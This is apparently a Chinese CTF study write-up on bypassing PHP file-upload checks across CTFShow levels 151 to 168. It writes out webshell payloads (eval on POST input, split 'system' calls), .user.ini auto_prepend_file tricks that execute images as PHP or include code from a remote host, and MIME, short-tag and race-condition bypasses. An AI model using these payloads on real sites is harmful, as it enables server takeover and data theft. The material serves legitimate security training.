知识点:
1.文件上传--前端验证(如果是纯前端验证,那么我们可以直接检查元素修改代码即可绕过上传)
2.文件上传-黑白名单(意思就是网站设立黑白名单,允许上传什么类型文件等)
3.文件上传-.user.ini的妙用
4.文件上传-PHP语言特性
本文分享全部基于PHP的语言
详细点:
1.检测层面:前端,后端等
2.检测内容:文件头,完成性,二次渲染等
3.检测后缀:黑名单,白名单、MIME检测等
4.绕过技巧:多后缀解析,截断,中间件特性,条件竞争等
前置知识点:这里给大家说明一个问题,因为我在学的时候也思考很久。假如我们上传后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外),如:我们上传后门文件格式为jpg,图片里边有后门代码,不能被触发,所以连接不上后门。
案例演示:CTFSHOW--文件上传
151:改关卡为纯前端验证,查看源代码允许上传png格式,我们直接修改为PHP后,直接上传php后门代码成功。
152:同上操作后提示文件类型不合规,我们简单抓包发现MIME检测,直接修改Content-Type: image/png,成功上传。
153:js验证+.user.ini
.user.ini不过多介绍自行百度,我们上传.user.ini文件,内容为auto_prepend_file=test.png,这句话什么意思呢?说白了这是将test.png当作代码执行,正如前期所说直接上传png图片后门是不会执行的,但是这里我们用到.user.ini后就能将图片后门当作代码执行。
154-155:js验证+.user.ini+短标签
我们知道php代码都有<?php?>这样的格式,那么不加标签要怎么运行php呢(因为过滤的php关键字段,我们不能写完整的代码,就得用到短标签绕过)
<? echo '123';?> //前提是开启配置参数short_open_tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123';%> //前提是开启配置参数asp_tags=on
<script language=”php”>echo '1'; </script> //不需要修改参数开关
步骤:同上+短标签
.user.ini:auto_prepend_file=test.png
test.png:<?=eval($_POST[x]);?>
163 突破上传删除
过滤 . () {} ;等 同时文件被删除
直接利用.user.ini包含远程
auto_prepend_file=http://794750069/
auto_prepend_file=http://794750069/
解题方法:条件竞争可以解题但是这关不需要用到条件竞争。(当上传什么文件都删除时才用到条件竞争),条件竞争是没上传之前一直发包确保在上传成功后,在服务器没有删除之前访问到。
文件二次渲染:
1、判断上传前和上传后的文件大小及内容
2、判断上传后的文件返回数据包内容
164 png二次渲染(以后经常碰到的情况):意思就是上传的图片被网站加工处理,会把里边的代码进行修改,这就是二次渲染。
文件上传之二次渲染绕过_qq_40800734的博客-CSDN博客_图片二次渲染 (该网站是利用代码脚本生成渲染图片后门的,手工也可以自己生成但是有难度。但是脚本代码生成的图片也不是一定可以)
get 0=system
post 1=tac flag.php
168 免杀后门
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php');?>
这题是写不进去,当我们上传关键代码时会直接被删除(或者可以说写不进去),解决办法就是我们直接把关键的代码进行分割。
上传成功后直接访问该目录即可
文件上传还有很多配合中间件的解析漏洞上传的,这里不再过多介绍。